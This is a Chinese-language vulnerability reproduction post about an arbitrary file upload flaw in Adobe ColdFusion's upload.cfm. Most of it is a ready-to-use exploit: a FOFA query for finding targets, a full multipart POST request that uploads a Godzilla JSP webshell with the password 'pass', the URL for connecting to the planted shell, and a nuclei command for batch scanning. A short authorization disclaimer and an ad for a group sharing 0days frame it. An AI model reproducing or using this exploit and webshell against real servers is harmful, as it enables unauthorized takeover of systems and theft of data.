漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

admin 2022年10月30日02:39:26评论171 views字数 4027阅读13分25秒阅读模式

0x01 阅读须知

融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

0x02 漏洞描述

Coldfusion最早是由Allaire公司开发的一种应用服务器平台,其运行的CFML(ColdFusionMarkupLanguage)针对Web应用的一种脚本语言。文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。Coldfusion系统 upload.cfm 存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限,导致服务器失陷。

漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

0x03 漏洞复现

fofa:app="Adobe-ColdFusion"

1.执行上传哥斯拉马poc

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Connection: closeContent-Length: 2908Content-Type: multipart/form-data; boundary=---------------------------24464570528145Accept-Encoding: gzip
-----------------------------24464570528145Content-Disposition: form-data; name="file"; filename="old8.jsp"Content-Type: image/jpeg
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>-----------------------------24464570528145Content-Disposition: form-data; name="path"
old8.jsp-----------------------------24464570528145--

漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

2.哥斯拉连接,获得一个shell

https://{{Hostname}}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/old8.jsp密码:pass

漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

3.nuclei批量验证已发表于知识星球

nuclei.exe -t CVE-2018-15961.yaml -l subs.txt -stats -o CVE-2018-15961.txt

漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

网络安全神兵利器分享
网络安全漏洞N/0day分享
    加入星球请扫描下方二维码,更多精,敬请期待!
👇👇👇

漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

长按二维码识别进入

0x04 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


原文始发于微信公众号(融云攻防实验室):漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日02:39:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞https://cn-sec.com/archives/1379734.html

发表评论

匿名网友 填写信息